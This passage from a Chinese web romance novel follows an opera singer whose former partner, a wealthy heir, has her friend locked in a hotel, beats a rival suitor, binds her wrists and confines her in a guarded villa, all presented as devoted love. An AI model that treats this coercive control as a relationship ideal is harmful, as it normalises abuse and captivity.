林青盏纤细手指握紧手机,心底藏匿已久的那些思绪都跑了出来。 她从来没有和外人说过,当年发现自己怀孕时,她心底有多么欣喜,后来失去孩子的时候,她就有多么悲痛。 她从小失去父母,和哥哥走失,即便有望月台依靠,始终觉得自己没有一个完整的家,她曾经以为她和傅随之都是孤独的人,他们合拍他们那么亲密,他们可以有一个家,而孩子会成为这个家最幸福的点缀。 可是孩子没了。 更让她难过的是沈钰铭给她听的那个录音,让她知道傅随之从来没有期望过孩子的到来,甚至于丝毫不在意他们的离开。 这是她心底最深的结。 她缓缓站起身,走到窗边透过窗帘缝隙往外看,那辆劳斯莱斯依旧停靠在门口,车窗打开着,她能够看到坐在副驾驶的傅随之。 她抿着唇将手机重新关机。 所有的事情暂时尘封- 林青盏的到来,确实让月云阁重新回到正轨。 因为重新开业没多久还未吸引观众,这一周排的戏不多,一天两场,林青盏工作也算是轻松。 虽说林青盏一年没有正式登台,但荣溪月探过她的功底,半点没有落下,荣溪月就知道这小姑娘平日里肯定没少费工夫练习。 锣鼓声响,戏曲开场,林青盏着一身长袖戏服,随手一甩开了呛,音腔动人。 云雪棠提前架设好相机,将表演录制下来,到时候会剪辑成小片段放在网上进行宣传。 荣溪月觉得林青盏唱得好,都会过来捧场。 每天必到的还有傅随之和身后那十来号人,将舞台下的座位占了一半,也因此让舞台不显得空荡寂寥。 因为云雪棠剪辑的视频,让林青盏的账号瞬间涨粉三万人,连带着月云阁的微信也吸引了上万人的关注。 林青盏表示叹为观止,“小雪,你好厉害。” 此刻,她窝在房间的沙发上,歪头就能看到窗外的明月高高挂,很是漂亮。 手机里传来云雪棠的声音,“只能说我的专业派上用场,但最主要的还是小纾姐的唱腔好,吸引了大批粉丝。” 她抿了抿红唇,“我之前发视频也是教唱戏的,就没吸引这么多粉丝。” “小纾姐,这我就不得不说一句,你那个视频用的变声器偏萝莉音,把你的腔调都改了,不算难听,但和你自己的声音相比真是天差地别。” 云雪棠声音里都透着好心情,“小纾姐,这两天的预定票比前面高了十倍不止,或许再半个月,月云阁就能恢复以往的辉煌了。到时候我和我妈就会开始进行着手招聘的事情。” “好。” 和云雪棠闲聊了半个小时才挂断电话,林青盏想着隔天要提早去月云阁拍摄,收拾好就缩在床上。 她给林博昶发了消息提醒他明天要早点过来,下一秒,林博昶回了个“ok”的表情包过来,林青盏安心放下手机入睡。 只是没想到,隔天早上她举着伞站在铁门外,看到的是傅随之和他那辆劳斯莱斯。 清晨下起的雨,像是断了线似的往下滑落,将满园的芬芳打蔫,别墅外面的道路都是积水,哗啦啦往山坡下流淌。 傅随之穿一身白色衬衫,头发仔细打理过,戴着一副金丝框眼镜,矜贵得像是电影里走出来的人物。 他原是拿着黑伞靠在围墙上,听到开门声,直起身看向林青盏,嘴角难得往上扬。 “小纾。” 这段时间,他每天都在门外守着,她出门就可以看见他。 她去上班他跟着,她上台表演,他在台下看,她下班回家,他依旧开车跟随,她回去休息,他就在别墅外面守着,几乎是24小时都没离开。 林青盏实在好奇,“你难道不用上班吗?傅氏集团什么时候不需要总裁了?” 傅随之握着黑伞往前迈步,靠近她了些,双眸落在她白皙脸蛋流连片刻,认真回答:“浮城那边的工作都交给秘书部,基础的他们处理,需要我签字过目的,会让人开车送过来。我的开会地点和办公室改在车上,转得过来。” “噢。” 他太过认真的交代,反倒是让她不知道该如何面对,她转过身看向远方。 林博昶这人虽然看着浪荡不羁,但不是那种不守时的,相反他答应做什么必然都会做到,而且极会照顾人的感受。 以往他都会提前过来等候,可是今天她等了十几分钟都没见到人。 林青盏拿着黑伞站在门口的屋檐下,望着不停落下的雨势,一时间有些迷惘。 傅随之收了伞,走过来跟她并肩站着,“林博昶没来。” 林青盏点了点头。 “着急去月云阁吗?” 林青盏转身看他,又点了点头。 “我送你过去?” 林青盏一时间没了声。 海城靠近沿海,雨水充沛,这一下雨恐怕不会很快结束,她现在叫车也可以,但想也知道会等很久。 林青盏看他一眼,听到他说:“小纾,我不是洪水猛兽,你不至于这么想远离我。” 再迟疑好像显得林青盏矫情,她点了点头。 从始至终,傅随之神色未有变化,见她点头答应,转身打开黑色大伞,眼神压着她。 林青盏眼神闪烁了下,迈步走进他黑色的伞下。 那柄伞很大,足以容纳他们两人,但林青盏还是觉得拥挤,原是想往旁边避着,却被他勾住肩膀,“不要躲,雨淋到了。” 纤瘦身姿瞬间跌入他怀里,肩膀贴在他结实胸膛,完全地感觉到了他炙热的体温。 林青盏一时间没想起挣脱开,好在车就停在旁边,不过走了几步,傅随之为她打开车门让她坐在副驾驶位上。 傅随之弯腰探身进来,为她将安全带拉好,才转身绕到驾驶位。 白色别墅到月云阁不过半个小时车程,傅随之很快将她送到,跟着她一起走进去。 月云阁工作人员不少,大家都很喜欢林青盏,因为她看着温柔莞尔,半点没有架子,声音好听唱曲功力了得,众人自然是支持的。 这些天下来,也知道她身后跟着个男人,每天都追着她,此刻看到他们并肩走进来不觉得意外,都只是笑着打了声招呼。 林青盏其实并不想理会傅随之,缓步走进去,径直往后台而去。 云雪棠早来了,抓住她手臂,满脸八卦:“今天跟你绯闻老公过来的?你们是和好了吗?” 林青盏对上她那闪烁的眼眸,无奈一笑,“今天雨下太大,林博昶没过来。” “噢,所以是你绯闻老公送你来的啊。” 云雪棠是那种带着灵动甜美的好看,扎着高马尾看着很是水灵,她好像没有任何烦恼,每天都过得很开心。 一天里最重要的事情,除了围着这个戏楼,就是打趣身边的所有人,看八卦聊天。 林青盏看她一眼,觉得再说下去,可能绯闻老公的“绯闻”两个字都要被云雪棠去掉了,干脆不多言。 “今天下雨,可能过来的观众不会太多。” 云雪棠正色:“没关系,那样我刚好再拍摄点视频。” “好。” 月云阁是荣溪月创办的,若是凭借荣溪月的名号,戏楼里要招人其实没那么难。 林青盏也曾经跟云雪棠提过这点,云雪棠说是荣溪月不同意这么做,荣溪月不想利用自己的名气去吸引人,这样招进来的不见得是真正喜欢戏曲的。 荣溪月希望能招收进来有天赋且愿意为戏曲传播做出贡献的人,真有这样的人过来,她亲自带徒弟都可以。 她们自然不好反驳,只能按照这个方式来。 云雪棠每日会剪辑林青盏的演唱视频,作为物料上传网络,也借此推广了月云阁。 目前看来效果不错,林青盏的私人账号关注度已经快要破十万,现在每天都有人涌过来刷她的视频,也有跟着她视频学习唱曲的。 不止如此,月云阁的各平台账号粉丝量也在突飞猛进地增加,就快要赶上林青盏的一半。 云雪棠对于营销推广极有把握,说是等物料足够,会直接安排一波热度,到时候效果会更好。 她们的目标是让月云阁保持热度,吸引源源不断的观众。 她未让林青盏操心过这些,林青盏只要跟以往在望月台一样,每日美美过来唱曲,结束后再回家就行。 下了一天的雨,等林青盏结束工作走出月云阁,看到天空乌压压,雨势未小。 傅随之始终等候在门外,为她撑开黑色大伞,带着她回到车上。 他侧身过来为她拉上安全带,看到她沾了水的高跟鞋,“脚凉不凉,你到后车座等会儿,我让人拿鞋子给你换?” 林青盏摇了摇头,“才半个小时路程,你直接送我回去就行。” 傅随之看她一眼,没有出声。 他解开原先给她系上的安全带,为她将座位往后调。 她整个人往后倒下去,明亮眼眸疑惑看他。 傅随之从后座拿来毛毯,为她脱掉高跟鞋,将她白皙双脚包裹住。 温热手掌蹭过她脚踝,激起一阵颤栗。 第75章 秋日里的雨,一阵比一阵凉。 刚刚雨水落入高跟鞋,浸得她脚丫有点凉,这会儿被如此包裹住才渐渐回温。 只是这个姿势太过奇怪,傅随之低腰捧着她双脚,裙摆被无端扬起,露出她雪白的肌肤。 林青盏挣扎片刻,想躲开。 傅随之沉着声音,“别动。” 也只是说了一句,他知道她的情绪,没有强迫她,扶她起身,将座椅调整好,又为她盖上毛毯,气定神闲地转身踩下引擎。 傅随之未多言,将林青盏送回白色别墅。 跟过来的秦楠,赶忙送过来新的鞋子递给傅随之,傅随之这次没有再动手,将白色高跟鞋放在她脚边,“换上这个。” 林青盏垂眸看一眼,没有拒绝。 “秋日里凉,回去洗个热水澡。” “噢。” 林青盏推开门下车,往别墅里面走,傅随之没有再跟上去,依旧站在铁门外守着。 林青盏下意识回头,刚巧对上他那双浅棕色眼眸,胸腔轻颤了下。 等她再回过身,才发现林博蘅不知道什么时候站在屋檐下,望着她眼眸,露出斯文温柔的笑。 林青盏提着包走过去,“博蘅哥,你回来了?” “刚从浮城过来,你最近工作开心吗?” 林青盏嘴角弯着笑,“我们最近有很多观众了,月云阁的人也都很好,就是我许久没上台,嗓子确实有些生了。” “我听你平日里练声,倒是觉得跟以往一样好听。” 林博蘅转身看 到铁门外站着的傅随之,“今天是傅总送你回来?博昶送你不好?” “我今天联系不上他,不知道他是不是有什么事在忙。” 林博蘅神色未变,“我待会联系他。先回去,吃饭了吗?” “在月云阁吃了些。” 两人并肩往别墅里面走,很快消失在门内。 站在铁门外的傅随之眼神阴暗得可怕,“把林博昶放了。” 身后的傅慎为傅随之撑着黑伞,“我现在就打电话。” 思考片刻,傅慎问:“林氏最近在和靳家谈合作,需要联系港城那边停止这次合作吗?” 傅随之冷脸,“不必。” 连傅慎都看得出来,林博蘅对林青盏态度不一般。真是对朋友的妹妹,姿态不会如此温柔亲昵。 也就是林青盏情感迟钝,没有发现。 傅随之心底很不爽,但他要想动林博蘅,贺兰承必然会出手,到时候掺和进来的人会更多,而且这样只会让林青盏觉得他阴险狡诈。 天空灰暗,落下细密的雨,衬得傅随之的脸色更加不好。 他从西服里拿出烟盒凑到嘴边,叼了根烟出来,手掌收拢着挡住风,摁下打火机才将烟点燃。 他深吸一口,再抬眸,眼底的阴狠舒缓了不少。 “让秦楠把文件带过来,直接在车里开会。” “好。” 傅慎打电话通知秦楠时,傅随之转身上了不远处的房车,去进行今天的工作会议- 林博蘅每次过来都会陪着林青盏吃顿饭,今天也不例外。 两人刚坐下,林博昶急冲冲进门,看到林博蘅,脚步顿住,“哥。” 林博蘅收敛了笑容,“怎么回事?” 林博昶嬉皮笑脸,“夫人,对不住,我昨晚被灌酒,睡得太死,手机又没电了。” 这理由他说出口都觉得假。 昨晚他被秦楠拉过去喝酒,秦楠死命把他灌醉,今早他撑着酒醉后的意识醒来,打算过来接人的,没想到秦楠直接把他锁在酒店,任凭他在里面怎么哀嚎,秦楠都不放过他,直到刚刚才把他给放了。 秦楠会这么做,肯定是傅随之命令,林博昶什么也不敢说。 在林博蘅的犀利眼神压迫下,他差点直接跪在林青盏面前。 林青盏心底也非常清楚这必然是傅随之所为,跟林博蘅说道,“最近他接送我挺辛苦的,我还要感谢他的。” 林博蘅这才放过林博昶,勉强允许他上桌吃饭。 林博昶这人典型好了伤疤忘了疼,坐下后就兴致勃勃地问林青盏,“夫人,今天是三爷接的你吧?你们怎么样?” 林青盏对上他八卦的眼神,没回答反而说,“博蘅哥,我觉得你刚刚是对的,这人不守信用丢我一个人在雨里等车,其实该罚……” “我的姑奶奶!” 林博昶立马跪倒,在也不说话,只是安静吃着海鲜大餐。 林博蘅公司很忙,过来陪她吃顿饭就要离开去另一个城市。 以往都是如此,林青盏熟门熟路地跟着他往外走,是要送送他。 “博蘅哥,如果你很忙也不用总是赶回来看我。现在不是有林博昶在么。我的行踪已经暴露,不用再躲藏,哥哥也有让人在周围保护我,你不用再担心我。” 林青盏望着他,唇畔挂着笑,“这段时间感谢你看在哥哥的嘱托,对我如此照顾。” 林博蘅温柔一笑,“小纾,我过来看你和照顾你,并不单纯只是因为贺兰承。” “我知道的,我们也是朋友嘛。” 林博蘅望着林青盏,神色复杂,“小纾,你和傅随之和好了吗?” 没料到他会突然说起这,林青盏神色一顿,摇了摇头。 林博蘅往前走了一步,“小纾,如果你和傅随之没有复合,那我可不可以跟你请求一个追求你的机会?” 林青盏抬眸,眼中满是惊讶。 她没有想过林博蘅对她会是这种情绪? 林博蘅喜欢林青盏,比他知道的还要早,在海城与她相伴的这一年,他藏在心底的感情更加深厚,他曾经想过是不是不该将这份情感说出口给林青盏徒增烦恼,但最近傅随之的出现,让他知道,如果他现在不说,往后恐怕再也没有机会。 他将手掌搭在她头发,安抚似的拍了拍,“这么惊讶么?” 林青盏缓缓点头。 “博蘅哥也是会对仙女心动的,这倒是不奇怪。” 他正色道,“之前你和傅随之在一起,后来你又躲着所有人,情绪不佳,不好乘人之危。现在你和他也算摊开了,既然他能重新追求你,我也不想失去这个机会。” 林青盏一时间不知道该说什么。 林博蘅轻笑了声,“小纾,我和你也算是知心一场,你自然明白,我这人喜欢坦坦荡荡,我喜欢你,我和你说了,是希望你知道这世上你不只有傅随之一个选择。我喜欢你想追求你,你若是给我机会,我会让你知道我可以对你好。” 林青盏眨了眨浓密眼睫,望着他,神色有惊讶却不慌张,还算平稳。 对上她那双清澈见底的眼眸,林博蘅心底沉了下,是有某种预感的,但他还是固执地重复:“小纾可以给我这个机会吗?” 她红唇轻启刚想回答,却听到身后传来低沉阴冷的声音,“别想了,她不会给你机会。” 她转过身,看到傅随之疾步走过来,拽住她手腕将她拉到身后,神色霸道且傲然。 就好像她始终是他的所有物,不允许任何人窥视。 重逢之后,傅随之始终穿着白色衬衫,不再是以往那道压人的黑色影子,好像是在刻意地迁就她吸引她,想让她开心。 但林青盏非常明白,他内里的性情其实没有变过,还是那个阴鸷阴狠的男人。 此刻,她抬眸望着他的背影,这种感觉更加强烈。 傅随之冷笑一声,“林博蘅,我是真没想到,你竟然敢撬我墙角。” 和阴沉的傅随之相比,林博蘅神色始终淡然,风光霁月的模样,“傅总恐怕忘了,一年前你和小纾就没有关系了,现在你想重新追求她,就应该尊重她。” “我什么时候没尊重她。” “这样是最好。” 林博蘅转身看向林青盏,“小纾,今天突然跟你说起这些,是不是吓到你了?” 傅随之不想让他们交谈,往右走了一步,彻底将林青盏挡在身后。 “知道吓到她,就给我闭嘴。” 林博蘅:“傅总,我是在和小纾说话,麻烦您让开。” 傅随之歪头冷笑一声,直接朝着林博蘅挥拳头过去,一拳打在他脸上。 林青盏压根没反应过来,等再看仔细,傅随之已经将林博蘅摁在玻璃门上,林博蘅丝毫不显弱势,挥拳砸在傅随之嘴角。 她着急往前,但场面一度混乱,压根拦不住。 从小到大,傅随之和唐郁东他们几个打架从来没有输过,他是黑带九段,还练过拳击,三两下将林博蘅摁在地上。 当他发疯似的举起拳头要往林博蘅脑袋砸下去时,林青盏着急叫住他:“随之,住手!” 所有的理智瞬间回笼。 他抬起那双阴鸷眼眸望向林青盏,嘴角流下红血。 林青盏冲过来抓住他的手腕,“傅随之你起来,别打人!” 她叫他的名字,只是为了另一个男人。 这个念头在脑海里闪过后,傅随之心底的情绪更加阴暗,他恨不得一拳锤爆林博蘅的脑袋,可是他没有。 他缓缓站起身,走到林青盏面前。 林青盏望着他破血的眼角,“你——” 下一秒,傅随之将林青盏打横抱起,径直往门外走去。 雨不知道什么时候又开始,像是断了的线滑下来,滴在林青盏浓密眼睫上。 她眨了眨眼睛,再抬眸,已经被傅随之塞进车后座,傅随之的身体压过来,用力抱住她。 只是用力抱住她,脸庞彻底埋进她的颈窝。 傅随之的声音低哑得可怕,“小纾,你可以不原谅我,但是你不能和其他男人在一起,我不允许。” 时隔一年,林青 盏闻到熟悉的雪松味道,以及贴着她肌肤的滚烫,让她心底的所有力气都被卸下,全身软绵无力地被揉进他怀里。 夜空突然变得阴沉,厚重的雨砸下来,落在车顶发出轻微的响声。 林青盏什么话都说不出来,随他紧紧抱着。 月亮街到海边别墅距离不远不近,半个多小时后,劳斯莱斯在别墅门口停下。 傅随之终于抬起头,林青盏看到他那双猩红的眼眸,像是要滴出血似的。 他一言不发,抱着她走入别墅。 贴着她大腿的手掌因为极度地隐忍,腾起青色脉络。 林青盏能感觉到,此刻的他太危险。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 75-80 第76章 别墅里没有开灯,黑暗一片,宽阔的客厅显得更加空荡。 客厅落地窗面朝沙滩,远处传来汹涌的海浪声,衬托得房间里更加安静。 傅随之抱着她走进去,将人放在米白色沙发上。 他单膝跪在她面前,修长手指紧紧抓着她的肩膀,深深望入她的眼眸。 “小纾,我是说过,我可以等。你现在心底不舒服,不想见到我,我尊重你,我可以等你调整好心情。” 傅随之眼眸里被压制许久的情绪像是窗外的海浪翻涌而来,不受控制。 “但这不代表我没有感觉,不代表我可以任由你跟其他男人在我面前卿卿我我,还想发展出关系。” 林青盏窝在沙发上,身上的柔软长裙像是海棠花花瓣一样繁复散开。 她的眼眸在黑暗里依旧明亮,望着他,“傅随之,我早和你说过,我们现在没有关系了。” 傅随之声音越发地沉:“不可能。” 看着他眼眶猩红,林青盏心底的那点情绪好似得到了某种安抚。 她故意的,继续说道:“我们没有关系,所以我跟谁发展什么关系,跟你一点关系也没有。你也不是我的谁,你管不着——” “小纾。”他声音沾染了某种近乎病态的压迫感,“别逼我。” 林青盏不明所以。 下一秒,傅随之手指勾住衬衫领带用力扯下来,在寂静的客厅里声音格外明显。 他抓住林青盏的手腕,用领带快速缠绕三圈将她的手腕捆住。 林青盏无语,“你以为这样就能困住我,我有腿我依旧可以离开。” 傅随之沉默不语,将她的手臂举起,挂在他脖颈。 林青盏:“……” 傅随之转为双膝跪地,眼中满是虔诚的臣服,“小纾,我再也不会让你离开我。” “难道你想囚.禁我?” “我只是想跟你在一起。” “那你也不能用这种方式困住我,你说过会尊重我。” 傅随之薄唇抿成危险的弧度,“小纾,跟离开你相比,其他都不重要。” 他抬起头与她额头相抵,像是溺水者终于抓住了那根稻草,用尽全力想要抓住。 他蹭了蹭她的额头,“小纾,没有你,我会死。就算你恨我也罢,我再也不会让你离开我身边。” 林青盏窝在沙发里,手腕被绑着挂在他脖子上,这姿态很怪异。 他抵着她额头停顿片刻,转而去蹭她的脸颊,眼中满是柔情,却透着病态般的迷恋。 两人几乎是紧密贴在一起,她好似能够听到他剧烈的心跳声,又像是她的,弄得她心底很混乱。 傅随之深呼吸,“小纾,告诉我,你怎么才能不离开我?” 林青盏声音有些颤,“傅随之,我说过了。” 他低头,将脸埋进她的颈窝,深深吸了口气,像是要将她的味道刻入心脏。 好一会儿,他才微微动了下,缓缓将她抱起来,转身窝进沙发里,手掌贴着她后背紧紧抱住。 林青盏觉得手臂挂在他肩膀坐着不舒服,“把我的手放下来。 傅随之垂眸看一眼,将她往上抱了抱,让她的手臂可以蜷缩着,像是小猫似的被他抱在怀里。 “不放。” 林青盏瞪他一眼。 他为她调整姿势后,她缩着身子坐在他身上,倒是不会不舒服,只是这样两人的姿态更加亲密。 她望着落地窗外的海平面,“你能把我关一辈子?” 他毫不犹豫,“为什么不可以?” 这一年他跟贺兰承和平共处的原因是他还没有林青盏的消息,他想找到林青盏,拼命往贺兰承嘴里喂食也是这个原因,现在她就在他怀里,贺兰承威胁不了他了。 就算现在贺兰承冲过来,傅随之也有的是办法让贺兰承进不了这栋别墅,只要傅随之想就能将她关在这里一辈子。 但这不是他真正想要的。 海平面海浪翻涌,不停传来海浪声。 两人坐在黑暗的客厅里,望着外面,心镜竟慢慢沉了下来。 傅随之启唇好几次,才终于找回声音,“小纾,你担心的问题我都会解决。” “当年,傅清檐确实以你母亲的病情为由,买通你父亲,想要对我父亲下手。你父亲或许想过,但他最终没有下手,撞死我父亲的另有其人。这件事我已经找到人证,再给我点时间,我会让傅清檐不得不承认他的罪行。” 他垂眸,抵在她额头,“我和你从来不是仇人。” 林青盏看他,“你找到当年害死你爸的凶手了?” “是。” 这二十几年来,傅随之一直在调查这件事,所以他能抓到真凶她并不意外。 但听到林峰平不是真凶,她还是深深呼了口气,感觉胸口堵着的那块石头终于放下了。 傅随之将她白皙脸蛋捧起,声音是从未有过的温柔,“现在来说说,我和你以及我们的孩子。” “孩子”两个字,始终是林青盏心底的痛。 她躲避了一年,最终还是要面对。 她挣扎了片刻,想低头不愿意看他,傅随之双指捏着她下巴,迫使她与他对视。 “当年我爸死了后,我妈和我舅舅棠严峻有专门找人查过,那时候就怀疑不是林峰平出手的,也有查到傅清檐一直在找林峰平,因为林峰平手里有他的把柄。” 他额头与她相抵,“我知道你是林峰平的女儿后,我承认我是想从你身上下手去找那个东西。但这件事我并不是第一天就知道,去望月台将你带回老宅,是因为我曾经给过你允诺,所以我还你。” 林青盏疑惑看他。 在他去望月台之前,她压根不认识他,何来允诺? 傅随之轻描淡写说起当年她在今安茶楼救下他的事情。 那段时间,陈挽刚刚去世,所以当时林青盏顶着明亮眼眸求他给她一个安身之所时,傅随之这么冷漠的人动了侧隐之心。 他答应林青盏要带她回去让她有安身之处,但因为陈挽墓地择选问题,他失约了。 如果面对外人,傅随之不会承认他的心软,可是现在面对的是他最珍重的林青盏。 他揉了揉她的脸庞,“硬要追溯,我们的开始是因为你对我有救命之恩,即便之后知道你是林峰平的女儿,我也从来没有想过要对你做什么。” 事情太过突然,林青盏心脏慢慢缩紧,感觉快要不能呼吸。 “游园惊梦三楼的那本记录册,是你特意为我准备的?” “是。” “为什么?” “我没有查到贺兰承的下落,料想他可能……” “所以为了给我有期待和盼头,你做了个假的记录本,引我去游园惊梦,让棠严峻放我去了三楼。” “是。”傅随之停顿了三分之一秒,“我看不得你难过。” 一句“我看不得你难过”,将她这一年三百多个日夜才筑起来的稳固堡垒瞬间打破。 她纤细手指不自觉揪住他的衬衫衣领。 傅随之幽暗的视线因为望着的是她,在这黑夜里逐渐亮起来。 他将她双手放下来,揉着她手掌凑到唇角亲了亲,“当初是在这里,我亲口告诉你的,我喜欢你。小纾,我喜欢你。我不是没想过结婚,我只是不想让你陷入傅氏的漩涡。” 他抓着她的手掌贴在脸颊,跟她说起傅清庭和棠傛当年结婚的局面,即便傅清庭将棠傛高调娶进门,也没有让沈家蓉高看她几分,反而害死了他们自己。 “我没告诉过你,于然失踪的始作俑者是傅清檐,而沈家蓉就是他的帮凶。” 林青盏震惊看他,“于然也是她的孙女啊。” 他冷笑,“能眼睁睁看着大儿子被二儿子害死,那她从来都不宠爱的孙女算什么。” 林青盏想过豪门大院的复杂,却没想到如此没有人性。 “你父亲是出车祸被害死,于然是他们设计偷走的,那你母亲也是?” “不是。” 傅随之将她紧紧搂在怀里,“父亲去世后,我母亲思念成疾,身体已经不怎么好。后来在公司决策上,我母亲以持有股份联合公司股东,对傅清檐投了反对票。傅清檐想对我母亲下手,但有我外公护着,没成功。后来是小于然被他们偷走,我母亲一病不起才走了。” “小纾,傅氏像极了一个黑暗的黑洞,我并不想让你进来,所以我才让你等一等我。我不是不想结婚,相反,我想得快发疯。我也不是不爱孩子,你从来都不知道,听到你怀孕那一刻,我心底多开心。” 林青盏鼻尖酸涩,“那你为什么后来又不要他们了?” “我没有不要他们。小纾,你讲讲道理,失去他们我跟你一样难受。” “你……” “沈钰铭给你听了录音,我知道,就因为那段录音,你就要判我死刑。” 林青盏抿着唇不说话。 傅随之拿来手机,调出之前查到的原版录音。 “那位林小姐怀的双胎,都停止发育了吗?” “嘘。没有,据说有个发育不好,但另一个胚胎是好的,胎芽正常,再等等就长出胎心了。” “那为什么要手术?” “说是那位姓傅的先生,找了院长过来,亲自去跟黄主任谈的。目的就是要给那位林小姐流产,孩子不能留。” “为什么不能留,他不要自己的孩子?” “谁知道啊。豪门恩怨说不清哦。” “哎跟看电视剧一样……黄主任。” 黄主任:“在岗期间这么闲,还有时间来议论病人是非。” “对不起,黄主任。” “你们对不起的不是我,是你们手里的病人,是林小姐和傅先生。” 黄主任很威严,“听好了,孩子不是不要,是要不了了,两个胚胎停止发育,没有胎心胎芽。你们自己就是妇产科的人,应该非常清楚,三个月内胎停就是自然淘汰的现象,这时候不及时动手术,母体是有危险的!” 相同的录音,完全不同的内容。 录音结束,因为没有触碰屏幕,导致手机屏幕自动锁定。 林青盏垂眸,看到。 是她当时夹在《绿山墙的安妮》里的照片。 黑黑的照片中央有两个小黑点,像极了两颗极度靠近的心脏。 是他们失去的那对双生子,也是现在的他们。 林青盏无力地低下头,将脸深深埋进傅随之胸膛。 傅随之紧紧抱住她,“别难过了,好不好?” 第77章 林青盏被傅随之囚.禁起来了。 他收走了她的手机,让她无法跟外界联系,自己也不出门,找了人将海边别墅团团围住,连只苍蝇都飞不进来。 傅随之半解开她手腕上的领带,只绑住她一只手腕,不过是把另一边绑在他手上。 他们在别墅里度过了一整天。 傅随之走到哪儿,就将林青盏抱到哪儿,完全不能离开他的视线。 他喂她吃饭,带她洗澡,陪着她看花赏月,和她一起看电影。 林青盏没有抗拒挣扎,她知道自己逃不掉,即便贺兰承来了,傅随之也不会放人。 她干脆既来之则安之,随着他安排。 这天午后,客厅的大电视播放着电影,她窝在沙发里迷迷糊糊的,感觉快睡着了。 傅随之侧身过来看她,手掌贴着她脸颊,将她脑袋摁在他肩膀,“困了就睡。” 本来困顿的意识,因为他冰冷的声线豁然惊醒。 她抬起头看他,“解开我的手,绑得我痛了。” 傅随之低头看了眼被他抓着的手腕,上面缠绕着黑色领带略显凌乱。领带绑住她一整天,确实会不舒服。 思考了三秒钟,他举手为她解开领带,修长手指沿着肌肤的红痕轻柔蹭过。 “不睡了?” 林青盏摇了摇头,“你打算关我到什么时候?” “一辈子。” “你要一辈子跟我待在这里,什么都不干吗?” “可以。” 林青盏是不信的,“你耗尽心思上位,拿下傅氏集团,真舍得放下?” 傅随之抓住她的手掌,将手指慢慢挤进她的指缝里,“有什么放不下。” 其实两人都知道,即便傅随之一辈子不出这海边别墅,也有的是法子控制傅氏集团,但他不解释,只是坚定地选择她。 林青盏一时间不知道该说什么。 他歪头凑在她耳边,“你若让我上位,一切皆可弃。” “……” 经历一天一夜,林青盏已经确定傅随之心意已决,不会轻易放她离开。 林青盏和他商量,先给云雪棠打个电话,不能让月云阁排的戏空窗。 傅随之只让她不用担心,一切都有安排。 话音刚落,林青盏的手机响起,她想去拿,被傅随之抢先夺走,她只来得及看到是贺兰承的电话。 傅随之拿起手机,毫不犹豫挂掉。 电话再次响起,仍旧被他挂掉。 打到第三次,傅随之才冷着脸接起来。 电话彼端传来贺兰承气愤的声音,“谁允许你把小纾带走?” “贺兰承,我要带走她,不需要经过你同意。” 贺兰承冷笑一声,“傅总怕是忘了,我是她唯一的亲人,你倒是认真想一想,需不需要我同意。” 傅随之声音比他还要冷,“贺总怕也是忘了,你现在叫贺兰承,难道你可以为了她放弃整个贺氏集团,回归贺兰承的身份?” 贺兰承一时间无言。 “如果不能,就别在我这边废话。”傅随之口吻笃定,“只要我和她结婚,在法律上,只有我才是她最亲密的人。” 贺兰承气急了:“你敢!” 傅随之回应他的是一阵冷笑,随即挂断了电话。 他将手机随意丢在沙发上,抬起头目光锁定她,带着让人无法抗拒无法抵抗的炙热。 林青盏深呼了口气,看着他单膝跪在她面前,地上铺着柔软的地毯,他的动作没有任何声音,但姿态太过明显,是将自己压在她面前,像是尘埃一般了。 他抓起她的手掌贴在脸颊,蹭了蹭,“小纾,想好了吗?” 昨晚傅随之为她解释了很多事情,几乎是低声下气地在她面前求她能原谅他,请求复合。 这份请求又带着阴鸷的偏执,不允许林青盏不答应,但凡林青盏不点头,傅随之就会像现在这样一直将她困着,不让她离开。 林青盏被他这幼稚又固执的方式逗笑,是无奈的笑。 “哪里有你这样胁迫人和你和好的?” “我不管。” “……” 傅随之吻了吻她的手背,“一年前,我没同意分手,你不答应和好也没关系,我们回到当初的关系。” 林青盏盯着他,“你想得倒是挺美。” 傅随之坚持,“我们继续完成婚礼,领证结婚,我要成为你的丈夫。” “你还真是我行我素,时隔一年,怎么可能什么都没改变。” 傅随之思前想后,好似做了退步般说道:“那我们可以先领证。” 林青盏将手掌抽回:“谁要跟你领证!” 两人僵持不下,这件事依旧没有定论。 手腕上的束缚被解开,林青盏也不用跟他时刻在一起了,起身就往楼上走,是懒得理他的。 别墅已经被他的人团团围住,林青盏不可能离开,所以傅随之没有阻止她上楼。 眼睁睁看着她窈窕身影消失在二楼拐角处,傅随之才站起身,单膝跪地导致西装裤略有褶皱,但不影响他身上那股阴暗的气势强烈散开。 他掏出手机拨通了傅慎的电话,“想办法困住贺兰承,让他无法离开马来西亚。” “是。”傅慎解释,“他前几天着急回马来西亚,是贺老的儿子们在闹在找他麻烦。估计不用我们怎么出手,他也无法脱身。” “那是最好。” “四爷那边打过电话,说顾蝉小姐启程回国。要让他们直接到别墅来吗?” “可以。” 结束这通电话,傅随之坐在客厅沙发上,拿起烟盒抖出一根烟叼在嘴里点燃,寂静无声地将这根烟抽完。 随后,他用两个小时处理完所有工作,才起身往楼上走去。 别墅二楼的尽头,是他们的卧室。 傅随之推开门,迎着灰色系的装潢,目光落在玻璃窗前的身影上。 她穿一袭柔软的连衣裙,长袖款式,裙摆柔顺垂落下来,衬得她身姿窈窕美丽。 正值傍晚时分,房间里没有亮灯,只有晚霞漫过天际洒落下来一片,映照在她柔嫩的脸颊,好似能压住她之前刻意摆出的冷姿态。 傅随之走过去,从身后环住她的腰,像是以往那般与她亲密,将脸颊埋进她颈窝,亲昵地吸取着独属于她的味道。 林青盏回眸看他,并没有挣脱。 其实这两天傅随之虽然将她困在别墅里,把她绑在他身上,昨晚也抱着她同床而眠,但傅随之并没有强迫她发生关系,只是像只大狗熊似的贴在她身上。 相比他阴鸷阴暗的眼神,其实他的姿态更多的是在虔诚地求和,这些林青盏是能感觉到的,所以她才没有做出反抗。 但不代表林青盏就默认了他这种“自来熟”的亲密,林青盏面无表情将他推开,走到床边躺下。 傅随之又跟过来,跟着在床榻另一边躺下,修长手臂勾住她的腰,挪过来贴着她后背。 鼻息间是她长发的香味,他闻了闻,胸口里那颗心才感觉安定下来。 他哑着声音问她:“该说的都和你解释了,小纾,你告诉我,该如何你才能原谅我?” 林青盏贴着柔软的真丝枕头,眼睫颤了颤,望着不远处墙上挂着的抽象画,画里是一个女人拥抱着带刺的玫瑰,落下的花瓣好像血,看似悲痛却又是欢愉的。 她缓缓开口,“傅随之。” 傅随之侧身望着她,“嗯?” 